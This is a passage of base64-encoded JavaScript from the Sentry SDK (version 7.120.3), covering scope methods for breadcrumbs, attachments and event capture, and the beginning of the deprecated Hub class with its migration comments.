wogICAgYnJlYWRjcnVtYnMucHVzaChtZXJnZWRCcmVhZGNydW1iKTsKICAgIHRoaXMuX2JyZWFkY3J1bWJzID0gYnJlYWRjcnVtYnMubGVuZ3RoID4gbWF4Q3J1bWJzID8gYnJlYWRjcnVtYnMuc2xpY2UoLW1heENydW1icykgOiBicmVhZGNydW1iczsKCiAgICB0aGlzLl9ub3RpZnlTY29wZUxpc3RlbmVycygpOwoKICAgIHJldHVybiB0aGlzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgZ2V0TGFzdEJyZWFkY3J1bWIoKSB7CiAgICByZXR1cm4gdGhpcy5fYnJlYWRjcnVtYnNbdGhpcy5fYnJlYWRjcnVtYnMubGVuZ3RoIC0gMV07CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBjbGVhckJyZWFkY3J1bWJzKCkgewogICAgdGhpcy5fYnJlYWRjcnVtYnMgPSBbXTsKICAgIHRoaXMuX25vdGlmeVNjb3BlTGlzdGVuZXJzKCk7CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICovCiAgIGFkZEF0dGFjaG1lbnQoYXR0YWNobWVudCkgewogICAgdGhpcy5fYXR0YWNobWVudHMucHVzaChhdHRhY2htZW50KTsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKiBAZGVwcmVjYXRlZCBVc2UgYGdldFNjb3BlRGF0YSgpYCBpbnN0ZWFkLgogICAqLwogICBnZXRBdHRhY2htZW50cygpIHsKICAgIGNvbnN0IGRhdGEgPSB0aGlzLmdldFNjb3BlRGF0YSgpOwoKICAgIHJldHVybiBkYXRhLmF0dGFjaG1lbnRzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgY2xlYXJBdHRhY2htZW50cygpIHsKICAgIHRoaXMuX2F0dGFjaG1lbnRzID0gW107CiAgICByZXR1cm4gdGhpczsKICB9CgogIC8qKiBAaW5oZXJpdERvYyAqLwogICBnZXRTY29wZURhdGEoKSB7CiAgICBjb25zdCB7CiAgICAgIF9icmVhZGNydW1icywKICAgICAgX2F0dGFjaG1lbnRzLAogICAgICBfY29udGV4dHMsCiAgICAgIF90YWdzLAogICAgICBfZXh0cmEsCiAgICAgIF91c2VyLAogICAgICBfbGV2ZWwsCiAgICAgIF9maW5nZXJwcmludCwKICAgICAgX2V2ZW50UHJvY2Vzc29ycywKICAgICAgX3Byb3BhZ2F0aW9uQ29udGV4dCwKICAgICAgX3Nka1Byb2Nlc3NpbmdNZXRhZGF0YSwKICAgICAgX3RyYW5zYWN0aW9uTmFtZSwKICAgICAgX3NwYW4sCiAgICB9ID0gdGhpczsKCiAgICByZXR1cm4gewogICAgICBicmVhZGNydW1iczogX2JyZWFkY3J1bWJzLAogICAgICBhdHRhY2htZW50czogX2F0dGFjaG1lbnRzLAogICAgICBjb250ZXh0czogX2NvbnRleHRzLAogICAgICB0YWdzOiBfdGFncywKICAgICAgZXh0cmE6IF9leHRyYSwKICAgICAgdXNlcjogX3VzZXIsCiAgICAgIGxldmVsOiBfbGV2ZWwsCiAgICAgIGZpbmdlcnByaW50OiBfZmluZ2VycHJpbnQgfHwgW10sCiAgICAgIGV2ZW50UHJvY2Vzc29yczogX2V2ZW50UHJvY2Vzc29ycywKICAgICAgcHJvcGFnYXRpb25Db250ZXh0OiBfcHJvcGFnYXRpb25Db250ZXh0LAogICAgICBzZGtQcm9jZXNzaW5nTWV0YWRhdGE6IF9zZGtQcm9jZXNzaW5nTWV0YWRhdGEsCiAgICAgIHRyYW5zYWN0aW9uTmFtZTogX3RyYW5zYWN0aW9uTmFtZSwKICAgICAgc3BhbjogX3NwYW4sCiAgICB9OwogIH0KCiAgLyoqCiAgICogQXBwbGllcyBkYXRhIGZyb20gdGhlIHNjb3BlIHRvIHRoZSBldmVudCBhbmQgcnVucyBhbGwgZXZlbnQgcHJvY2Vzc29ycyBvbiBpdC4KICAgKgogICAqIEBwYXJhbSBldmVudCBFdmVudAogICAqIEBwYXJhbSBoaW50IE9iamVjdCBjb250YWluaW5nIGFkZGl0aW9uYWwgaW5mb3JtYXRpb24gYWJvdXQgdGhlIG9yaWdpbmFsIGV4Y2VwdGlvbiwgZm9yIHVzZSBieSB0aGUgZXZlbnQgcHJvY2Vzc29ycy4KICAgKiBAaGlkZGVuCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBhcHBseVNjb3BlRGF0YVRvRXZlbnQoKWAgZGlyZWN0bHkKICAgKi8KICAgYXBwbHlUb0V2ZW50KAogICAgZXZlbnQsCiAgICBoaW50ID0ge30sCiAgICBhZGRpdGlvbmFsRXZlbnRQcm9jZXNzb3JzID0gW10sCiAgKSB7CiAgICBhcHBseVNjb3BlRGF0YVRvRXZlbnQoZXZlbnQsIHRoaXMuZ2V0U2NvcGVEYXRhKCkpOwoKICAgIC8vIFRPRE8gKHY4KTogVXBkYXRlIHRoaXMgb3JkZXIgdG8gYmU6IEdsb2JhbCA+IENsaWVudCA+IFNjb3BlCiAgICBjb25zdCBldmVudFByb2Nlc3NvcnMgPSBbCiAgICAgIC4uLmFkZGl0aW9uYWxFdmVudFByb2Nlc3NvcnMsCiAgICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgICAuLi5nZXRHbG9iYWxFdmVudFByb2Nlc3NvcnMoKSwKICAgICAgLi4udGhpcy5fZXZlbnRQcm9jZXNzb3JzLAogICAgXTsKCiAgICByZXR1cm4gbm90aWZ5RXZlbnRQcm9jZXNzb3JzKGV2ZW50UHJvY2Vzc29ycywgZXZlbnQsIGhpbnQpOwogIH0KCiAgLyoqCiAgICogQWRkIGRhdGEgd2hpY2ggd2lsbCBiZSBhY2Nlc3NpYmxlIGR1cmluZyBldmVudCBwcm9jZXNzaW5nIGJ1dCB3b24ndCBnZXQgc2VudCB0byBTZW50cnkKICAgKi8KICAgc2V0U0RLUHJvY2Vzc2luZ01ldGFkYXRhKG5ld0RhdGEpIHsKICAgIHRoaXMuX3Nka1Byb2Nlc3NpbmdNZXRhZGF0YSA9IHsgLi4udGhpcy5fc2RrUHJvY2Vzc2luZ01ldGFkYXRhLCAuLi5uZXdEYXRhIH07CgogICAgcmV0dXJuIHRoaXM7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqLwogICBzZXRQcm9wYWdhdGlvbkNvbnRleHQoY29udGV4dCkgewogICAgdGhpcy5fcHJvcGFnYXRpb25Db250ZXh0ID0gY29udGV4dDsKICAgIHJldHVybiB0aGlzOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKi8KICAgZ2V0UHJvcGFnYXRpb25Db250ZXh0KCkgewogICAgcmV0dXJuIHRoaXMuX3Byb3BhZ2F0aW9uQ29udGV4dDsKICB9CgogIC8qKgogICAqIENhcHR1cmUgYW4gZXhjZXB0aW9uIGZvciB0aGlzIHNjb3BlLgogICAqCiAgICogQHBhcmFtIGV4Y2VwdGlvbiBUaGUgZXhjZXB0aW9uIHRvIGNhcHR1cmUuCiAgICogQHBhcmFtIGhpbnQgT3B0aW5hbCBhZGRpdGlvbmFsIGRhdGEgdG8gYXR0YWNoIHRvIHRoZSBTZW50cnkgZXZlbnQuCiAgICogQHJldHVybnMgdGhlIGlkIG9mIHRoZSBjYXB0dXJlZCBTZW50cnkgZXZlbnQuCiAgICovCiAgIGNhcHR1cmVFeGNlcHRpb24oZXhjZXB0aW9uLCBoaW50KSB7CiAgICBjb25zdCBldmVudElkID0gaGludCAmJiBoaW50LmV2ZW50X2lkID8gaGludC5ldmVudF9pZCA6IHV1aWQ0KCk7CgogICAgaWYgKCF0aGlzLl9jbGllbnQpIHsKICAgICAgbG9nZ2VyLndhcm4oJ05vIGNsaWVudCBjb25maWd1cmVkIG9uIHNjb3BlIC0gd2lsbCBub3QgY2FwdHVyZSBleGNlcHRpb24hJyk7CiAgICAgIHJldHVybiBldmVudElkOwogICAgfQoKICAgIGNvbnN0IHN5bnRoZXRpY0V4Y2VwdGlvbiA9IG5ldyBFcnJvcignU2VudHJ5IHN5bnRoZXRpY0V4Y2VwdGlvbicpOwoKICAgIHRoaXMuX2NsaWVudC5jYXB0dXJlRXhjZXB0aW9uKAogICAgICBleGNlcHRpb24sCiAgICAgIHsKICAgICAgICBvcmlnaW5hbEV4Y2VwdGlvbjogZXhjZXB0aW9uLAogICAgICAgIHN5bnRoZXRpY0V4Y2VwdGlvbiwKICAgICAgICAuLi5oaW50LAogICAgICAgIGV2ZW50X2lkOiBldmVudElkLAogICAgICB9LAogICAgICB0aGlzLAogICAgKTsKCiAgICByZXR1cm4gZXZlbnRJZDsKICB9CgogIC8qKgogICAqIENhcHR1cmUgYSBtZXNzYWdlIGZvciB0aGlzIHNjb3BlLgogICAqCiAgICogQHBhcmFtIG1lc3NhZ2UgVGhlIG1lc3NhZ2UgdG8gY2FwdHVyZS4KICAgKiBAcGFyYW0gbGV2ZWwgQW4gb3B0aW9uYWwgc2V2ZXJpdHkgbGV2ZWwgdG8gcmVwb3J0IHRoZSBtZXNzYWdlIHdpdGguCiAgICogQHBhcmFtIGhpbnQgT3B0aW9uYWwgYWRkaXRpb25hbCBkYXRhIHRvIGF0dGFjaCB0byB0aGUgU2VudHJ5IGV2ZW50LgogICAqIEByZXR1cm5zIHRoZSBpZCBvZiB0aGUgY2FwdHVyZWQgbWVzc2FnZS4KICAgKi8KICAgY2FwdHVyZU1lc3NhZ2UobWVzc2FnZSwgbGV2ZWwsIGhpbnQpIHsKICAgIGNvbnN0IGV2ZW50SWQgPSBoaW50ICYmIGhpbnQuZXZlbnRfaWQgPyBoaW50LmV2ZW50X2lkIDogdXVpZDQoKTsKCiAgICBpZiAoIXRoaXMuX2NsaWVudCkgewogICAgICBsb2dnZXIud2FybignTm8gY2xpZW50IGNvbmZpZ3VyZWQgb24gc2NvcGUgLSB3aWxsIG5vdCBjYXB0dXJlIG1lc3NhZ2UhJyk7CiAgICAgIHJldHVybiBldmVudElkOwogICAgfQoKICAgIGNvbnN0IHN5bnRoZXRpY0V4Y2VwdGlvbiA9IG5ldyBFcnJvcihtZXNzYWdlKTsKCiAgICB0aGlzLl9jbGllbnQuY2FwdHVyZU1lc3NhZ2UoCiAgICAgIG1lc3NhZ2UsCiAgICAgIGxldmVsLAogICAgICB7CiAgICAgICAgb3JpZ2luYWxFeGNlcHRpb246IG1lc3NhZ2UsCiAgICAgICAgc3ludGhldGljRXhjZXB0aW9uLAogICAgICAgIC4uLmhpbnQsCiAgICAgICAgZXZlbnRfaWQ6IGV2ZW50SWQsCiAgICAgIH0sCiAgICAgIHRoaXMsCiAgICApOwoKICAgIHJldHVybiBldmVudElkOwogIH0KCiAgLyoqCiAgICogQ2FwdHVyZXMgYSBtYW51YWxseSBjcmVhdGVkIGV2ZW50IGZvciB0aGlzIHNjb3BlIGFuZCBzZW5kcyBpdCB0byBTZW50cnkuCiAgICoKICAgKiBAcGFyYW0gZXhjZXB0aW9uIFRoZSBldmVudCB0byBjYXB0dXJlLgogICAqIEBwYXJhbSBoaW50IE9wdGlvbmFsIGFkZGl0aW9uYWwgZGF0YSB0byBhdHRhY2ggdG8gdGhlIFNlbnRyeSBldmVudC4KICAgKiBAcmV0dXJucyB0aGUgaWQgb2YgdGhlIGNhcHR1cmVkIGV2ZW50LgogICAqLwogICBjYXB0dXJlRXZlbnQoZXZlbnQsIGhpbnQpIHsKICAgIGNvbnN0IGV2ZW50SWQgPSBoaW50ICYmIGhpbnQuZXZlbnRfaWQgPyBoaW50LmV2ZW50X2lkIDogdXVpZDQoKTsKCiAgICBpZiAoIXRoaXMuX2NsaWVudCkgewogICAgICBsb2dnZXIud2FybignTm8gY2xpZW50IGNvbmZpZ3VyZWQgb24gc2NvcGUgLSB3aWxsIG5vdCBjYXB0dXJlIGV2ZW50IScpOwogICAgICByZXR1cm4gZXZlbnRJZDsKICAgIH0KCiAgICB0aGlzLl9jbGllbnQuY2FwdHVyZUV2ZW50KGV2ZW50LCB7IC4uLmhpbnQsIGV2ZW50X2lkOiBldmVudElkIH0sIHRoaXMpOwoKICAgIHJldHVybiBldmVudElkOwogIH0KCiAgLyoqCiAgICogVGhpcyB3aWxsIGJlIGNhbGxlZCBvbiBldmVyeSBzZXQgY2FsbC4KICAgKi8KICAgX25vdGlmeVNjb3BlTGlzdGVuZXJzKCkgewogICAgLy8gV2UgbmVlZCB0aGlzIGNoZWNrIGZvciB0aGlzLl9ub3RpZnlpbmdMaXN0ZW5lcnMgdG8gYmUgYWJsZSB0byB3b3JrIG9uIHNjb3BlIGR1cmluZyB1cGRhdGVzCiAgICAvLyBJZiB0aGlzIGNoZWNrIGlzIG5vdCBoZXJlIHdlJ2xsIHByb2R1Y2UgZW5kbGVzcyByZWN1cnNpb24gd2hlbiBzb21ldGhpbmcgaXMgZG9uZSB3aXRoIHRoZSBzY29wZQogICAgLy8gZHVyaW5nIHRoZSBjYWxsYmFjay4KICAgIGlmICghdGhpcy5fbm90aWZ5aW5nTGlzdGVuZXJzKSB7CiAgICAgIHRoaXMuX25vdGlmeWluZ0xpc3RlbmVycyA9IHRydWU7CiAgICAgIHRoaXMuX3Njb3BlTGlzdGVuZXJzLmZvckVhY2goY2FsbGJhY2sgPT4gewogICAgICAgIGNhbGxiYWNrKHRoaXMpOwogICAgICB9KTsKICAgICAgdGhpcy5fbm90aWZ5aW5nTGlzdGVuZXJzID0gZmFsc2U7CiAgICB9CiAgfQp9CgpmdW5jdGlvbiBnZW5lcmF0ZVByb3BhZ2F0aW9uQ29udGV4dCgpIHsKICByZXR1cm4gewogICAgdHJhY2VJZDogdXVpZDQoKSwKICAgIHNwYW5JZDogdXVpZDQoKS5zdWJzdHJpbmcoMTYpLAogIH07Cn0KCmNvbnN0IFNES19WRVJTSU9OID0gJzcuMTIwLjMnOwoKLyoqCiAqIEFQSSBjb21wYXRpYmlsaXR5IHZlcnNpb24gb2YgdGhpcyBodWIuCiAqCiAqIFdBUk5JTkc6IFRoaXMgbnVtYmVyIHNob3VsZCBvbmx5IGJlIGluY3JlYXNlZCB3aGVuIHRoZSBnbG9iYWwgaW50ZXJmYWNlCiAqIGNoYW5nZXMgYW5kIG5ldyBtZXRob2RzIGFyZSBpbnRyb2R1Y2VkLgogKgogKiBAaGlkZGVuCiAqLwpjb25zdCBBUElfVkVSU0lPTiA9IHBhcnNlRmxvYXQoU0RLX1ZFUlNJT04pOwoKLyoqCiAqIERlZmF1bHQgbWF4aW11bSBudW1iZXIgb2YgYnJlYWRjcnVtYnMgYWRkZWQgdG8gYW4gZXZlbnQuIENhbiBiZSBvdmVyd3JpdHRlbgogKiB3aXRoIHtAbGluayBPcHRpb25zLm1heEJyZWFkY3J1bWJzfS4KICovCmNvbnN0IERFRkFVTFRfQlJFQURDUlVNQlMgPSAxMDA7CgovKioKICogQGRlcHJlY2F0ZWQgVGhlIGBIdWJgIGNsYXNzIHdpbGwgYmUgcmVtb3ZlZCBpbiB2ZXJzaW9uIDggb2YgdGhlIFNESyBpbiBmYXZvdXIgb2YgYFNjb3BlYCBhbmQgYENsaWVudGAgb2JqZWN0cy4KICoKICogSWYgeW91IHByZXZpb3VzbHkgdXNlZCB0aGUgYEh1YmAgY2xhc3MgZGlyZWN0bHksIHJlcGxhY2UgaXQgd2l0aCBgU2NvcGVgIGFuZCBgQ2xpZW50YCBvYmplY3RzLiBNb3JlIGluZm9ybWF0aW9uOgogKiAtIFtNdWx0aXBsZSBTZW50cnkgSW5zdGFuY2VzXShodHRwczovL2RvY3Muc2VudHJ5LmlvL3BsYXRmb3Jtcy9qYXZhc2NyaXB0L2Jlc3QtcHJhY3RpY2VzL211bHRpcGxlLXNlbnRyeS1pbnN0YW5jZXMvKQogKiAtIFtCcm93c2VyIEV4dGVuc2lvbnNdKGh0dHBzOi8vZG9jcy5zZW50cnkuaW8vcGxhdGZvcm1zL2phdmFzY3JpcHQvYmVzdC1wcmFjdGljZXMvYnJvd3Nlci1leHRlbnNpb25zLykKICoKICogU29tZSBvZiBvdXIgQVBJcyBhcmUgdHlwZWQgd2l0aCB0aGUgSHViIGNsYXNzIGluc3RlYWQgb2YgdGhlIGludGVyZmFjZSAoZS5nLiBgZ2V0Q3VycmVudEh1YmApLiBNb3N0IG9mIHRoZW0gYXJlIGRlcHJlY2F0ZWQKICogdGhlbXNlbHZlcyBhbmQgd2lsbCBhbHNvIGJlIHJlbW92ZWQgaW4gdmVyc2lvbiA4LiBNb3JlIGluZm9ybWF0aW9uOgogKiAtIFtNaWdyYXRpb24gR3VpZGVdKGh0dHBzOi8vZ2l0aHViLmNvbS9nZXRzZW50cnkvc2VudHJ5LWphdmFzY3JpcHQvYmxvYi9kZXZlbG9wL01JR1JBVElPTi5tZCNkZXByZWNhdGUtaHViKQogKi8KLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCmNsYXNzIEh1YiAgewogIC8qKiBJcyBhIHtAbGluayBMYXllcn1bXSBjb250YWluaW5nIHRoZSBjbGllbnQgYW5kIHNjb3BlICovCgogIC8qKiBDb250YWlucyB0aGUgbGFzdCBldmVudCBpZCBvZiBhIGNhcHR1cmVkIGV2ZW50LiAgKi8KCiAgLyoqCiAgICogQ3JlYXRlcyBhIG5ldyBpbnN0YW5jZSBvZiB0aGUgaHViLCB3aWxsIHB1c2ggb25lIHtAbGluayBMYXllcn0gaW50byB0aGUKICAgKiBpbnRlcm5hbCBzdGFjayBvbiBjcmVhdGlvbi4KICAgKgogICAqIEBwYXJhbSBjbGllbnQgYm91bmQgdG8gdGhlIGh1Yi4KICAgKiBAcGFyYW0gc2NvcGUgYm91bmQgdG8gdGhlIGh1Yi4KICAgKiBAcGFyYW0gdmVyc2lvbiBudW1iZXIsIGhpZ2hlciBudW1iZXIgbWVhbnMgaGlnaGVyIHByaW9yaXR5LgogICAqCiAgICogQGRlcHJlY2F0ZWQgSW5zdGFudGlhdGlvbiBvZiBIdWIgb2JqZWN0cyBpcyBkZXByZWNhdGVkIGFuZCB0aGUgY29uc3RydWN0b3Igd2lsbCBiZSByZW1vdmVkIGluIHZlcnNpb24gOCBvZiB0aGUgU0RLLgogICAqCiAgICogSWYgeW91IGFyZSBjdXJyZW50bHkgdXNpbmcgdGhlIEh1YiBmb3IgbXVsdGktY2xpZW50IHVzZSBsaWtlIHNvOgogICAqCiAgICogYGBgCiAgICogLy8gT0xECiAgICogY29uc3QgaHViID0gbmV3IEh1YigpOwogICAqIGh1Yi5iaW5kQ2xpZW50KGNsaWVudCk7CiAgICogbWFrZU1haW4oaHViKQogICAqIGBgYAogICAqCiAgICogaW5zdGVhZCBpbml0aWFsaXplIHRoZSBjbGllbnQgYXMgZm9sbG93czoKICAgKgogICAqIGBgYAogICAqIC8vIE5FVwogICAqIFNlbnRyeS53aXRoSXNvbGF0aW9uU2NvcGUoKCkgPT4gewogICAqICAgIFNlbnRyeS5zZXRDdXJyZW50Q2xpZW50KGNsaWVudCk7CiAgICogICAgY2xpZW50LmluaXQoKTsKICAgKiB9KTsKICAgKiBgYGAKICAgKgogICAqIElmIHlvdSBhcmUgdXNpbmcgdGhlIEh1YiB0byBjYXB0dXJlIGV2ZW50cyBsaWtlIHNvOgogICAqCiAgICogYGBgCiAgICogLy8gT0xECiAgICogY29uc3QgY2xpZW50ID0gbmV3IENsaWVudCgpOwogICAqIGNvbnN0IGh1YiA9IG5ldyBIdWIoY2xpZW50KTsKICAgKiBodWIuY2FwdHVyZUV4Y2VwdGlvbigpCiAgICogYGBgCiAgICoKICAgKiBpbnN0ZWFkIGNhcHR1cmUgaXNvbGF0ZWQgZXZlbnRzIGFzIGZvbGxvd3M6CiAgICoKICAgKiBgYGAKICAgKiAvLyBORVcKICAgKiBjb25zdCBjbGllbnQgPSBuZXcgQ2xpZW50KCk7CiAgICogY29uc3Qgc2NvcGUgPSBuZXcgU2NvcGUoKTsKICAgKiBzY29wZS5zZXRDbGllbnQoY2xpZW50KTsKICAgKiBzY29wZS5jYXB0dXJlRXhjZXB0aW9uKCk7CiAgICogYGBgCiAgICovCiAgIGNvbnN0cnVjdG9yKAogICAgY2xpZW50LAogICAgc2NvcGUsCiAgICBpc29sYXRpb25TY29wZSwKICAgICAgX3ZlcnNpb24gPSBBUElfVkVSU0lPTiwKICApIHt0aGlzLl92ZXJzaW9uID0gX3ZlcnNpb247CiAgICBsZXQgYXNzaWduZWRTY29wZTsKICAgIGlmICghc2NvcGUpIHsKICAgICAgYXNzaWduZWRTY29wZSA9IG5ldyBTY29wZSgpOwogICAgICBhc3NpZ25lZFNjb3BlLnNldENsaWVudChjbGllbnQpOwogICAgfSBlbHNlIHsKICAgICAgYXNzaWduZWRTY29wZSA9IHNjb3BlOwogICAgfQoKICAgIGxldCBhc3NpZ25lZElzb2xhdGlvblNjb3BlOwogICAgaWYgKCFpc29sYXRpb25TY29wZSkgewogICAgICBhc3NpZ25lZElzb2xhdGlvblNjb3BlID0gbmV3IFNjb3BlKCk7CiAgICAgIGFzc2lnbmVkSXNvbGF0aW9uU2NvcGUuc2V0Q2xpZW50KGNsaWVudCk7CiAgICB9IGVsc2UgewogICAgICBhc3NpZ25lZElzb2xhdGlvblNjb3BlID0gaXNvbGF0aW9uU2NvcGU7CiAgICB9CgogICAgdGhpcy5fc3RhY2sgPSBbeyBzY29wZTogYXNzaWduZWRTY29wZSB9XTsKCiAgICBpZiAoY2xpZW50KSB7CiAgICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgICB0aGlzLmJpbmRDbGllbnQoY2xpZW50KTsKICAgIH0KCiAgICB0aGlzLl9pc29sYXRpb25TY29wZSA9IGFzc2lnbmVkSXNvbGF0aW9uU2NvcGU7CiAgfQoKICAvKioKICAgKiBDaGVja3MgaWYgdGhpcyBodWIncyB2ZXJzaW9uIGlzIG9sZGVyIHRoYW4gdGhlIGdpdmVuIHZlcnNpb24uCiAgICoKICAgKiBAcGFyYW0gdmVyc2lvbiBBIHZlcnNpb24gbnVtYmVyIHRvIGNvbXBhcmUgdG8uCiAgICogQHJldHVybiBUcnVlIGlmIHRoZSBnaXZlbiB2ZXJzaW9uIGlzIG5ld2VyOyBvdGhlcndpc2UgZmFsc2UuCiAgICoKICAgKiBAZGVwcmVjYXRlZCBUaGlzIHdpbGwgYmUgcmVtb3ZlZCBpbiB2OC4KICAgKi8KICAgaXNPbGRlclRoYW4odmVyc2lvbikgewogICAgcmV0dXJuIHRoaXMuX3ZlcnNpb24gPCB2ZXJzaW9uOwogIH0KCiAgLyoqCiAgICogVGhpcyBiaW5kcyB0aGUgZ2l2ZW4gY2xpZW50IHRvIHRoZSBjdXJyZW50IHNjb3BlLgogICAqIEBwYXJhbSBjbGllbnQgQW4gU0RLIGNsaWVudCAoY2xpZW50KSBpbnN0YW5jZS4KICAgKgogICAqIEBkZXByZWNhdGVkIFVzZSBgaW5pdEFuZEJpbmQoKWAgZGlyZWN0bHksIG9yIGBzZXRDdXJyZW50Q2xpZW50KClgIGFuZC9vciBgY2xpZW50LmluaXQoKWAgaW5zdGVhZC4KICAgKi8KICAgYmluZENsaWVudChjbGllbnQpIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgY29uc3QgdG9wID0gdGhpcy5nZXRTdGFja1RvcCgpOwogICAgdG9wLmNsaWVudCA9IGNsaWVudDsKICAgIHRvcC5zY29wZS5zZXRDbGllbnQoY2xpZW50KTsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgaWYgKGNsaWVudCAmJiBjbGllbnQuc2V0dXBJbnRlZ3JhdGlvbnMpIHsKICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICAgIGNsaWVudC5zZXR1cEludGVncmF0aW9ucygpOwogICAgfQogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKgogICAqIEBkZXByZWNhdGVkIFVzZSBgd2l0aFNjb3BlYCBpbnN0ZWFkLgogICAqLwogICBwdXNoU2NvcGUoKSB7CiAgICAvLyBXZSB3YW50IHRvIGNsb25lIHRoZSBjb250ZW50IG9mIHByZXYgc2NvcGUKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgY29uc3Qgc2NvcGUgPSB0aGlzLmdldFNjb3BlKCkuY2xvbmUoKTsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5nZXRTdGFjaygpLnB1c2goewogICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgICAgY2xpZW50OiB0aGlzLmdldENsaWVudCgpLAogICAgICBzY29wZSwKICAgIH0pOwogICAgcmV0dXJuIHNjb3BlOwogIH0KCiAgLyoqCiAgICogQGluaGVyaXREb2MKICAgKgogICAqIEBkZXByZWNhdGVkIFVzZSBgd2l0aFNjb3BlYCBpbnN0ZWFkLgogICAqLwogICBwb3BTY29wZSgpIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgaWYgKHRoaXMuZ2V0U3RhY2soKS5sZW5ndGggPD0gMSkgcmV0dXJuIGZhbHNlOwogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICByZXR1cm4gISF0aGlzLmdldFN0YWNrKCkucG9wKCk7CiAgfQoKICAvKioKICAgKiBAaW5oZXJpdERvYwogICAqCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBTZW50cnkud2l0aFNjb3BlKClgIGluc3RlYWQuCiAgICovCiAgIHdpdGhTY29wZShjYWxsYmFjaykgewogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICBjb25zdCBzY29wZSA9IHRoaXMucHVzaFNjb3BlKCk7CgogICAgbGV0IG1heWJlUHJvbWlzZVJlc3VsdDsKICAgIHRyeSB7CiAgICAgIG1heWJlUHJvbWlzZVJlc3VsdCA9IGNhbGxiYWNrKHNjb3BlKTsKICAgIH0gY2F0Y2ggKGUpIHsKICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICAgIHRoaXMucG9wU2NvcGUoKTsKICAgICAgdGhyb3cgZTsKICAgIH0KCiAgICBpZiAoaXNUaGVuYWJsZShtYXliZVByb21pc2VSZXN1bHQpKSB7CiAgICAgIC8vIEB0cy1leHBlY3QtZXJyb3IgLSBpc1RoZW5hYmxlIHJldHVybnMgdGhlIHdyb25nIHR5cGUKICAgICAgcmV0dXJuIG1heWJlUHJvbWlzZVJlc3VsdC50aGVuKAogICAgICAgIHJlcyA9PiB7CiAgICAgICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgZGVwcmVjYXRpb24vZGVwcmVjYXRpb24KICAgICAgICAgIHRoaXMucG9wU2NvcGUoKTsKICAgICAgICAgIHJldHVybiByZXM7CiAgICAgICAgfSwKICAgICAgICBlID0+IHsKICAgICAgICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgICAgICAgdGhpcy5wb3BTY29wZSgpOwogICAgICAgICAgdGhyb3cgZTsKICAgICAgICB9LAogICAgICApOwogICAgfQoKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgdGhpcy5wb3BTY29wZSgpOwogICAgcmV0dXJuIG1heWJlUHJvbWlzZVJlc3VsdDsKICB9CgogIC8qKgogICAqIEBpbmhlcml0RG9jCiAgICoKICAgKiBAZGVwcmVjYXRlZCBVc2UgYFNlbnRyeS5nZXRDbGllbnQoKWAgaW5zdGVhZC4KICAgKi8KICAgZ2V0Q2xpZW50KCkgewogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICByZXR1cm4gdGhpcy5nZXRTdGFja1RvcCgpLmNsaWVudCA7CiAgfQoKICAvKioKICAgKiBSZXR1cm5zIHRoZSBzY29wZSBvZiB0aGUgdG9wIHN0YWNrLgogICAqCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBTZW50cnkuZ2V0Q3VycmVudFNjb3BlKClgIGluc3RlYWQuCiAgICovCiAgIGdldFNjb3BlKCkgewogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICByZXR1cm4gdGhpcy5nZXRTdGFja1RvcCgpLnNjb3BlOwogIH0KCiAgLyoqCiAgICogQGRlcHJlY2F0ZWQgVXNlIGBTZW50cnkuZ2V0SXNvbGF0aW9uU2NvcGUoKWAgaW5zdGVhZC4KICAgKi8KICAgZ2V0SXNvbGF0aW9uU2NvcGUoKSB7CiAgICByZXR1cm4gdGhpcy5faXNvbGF0aW9uU2NvcGU7Ci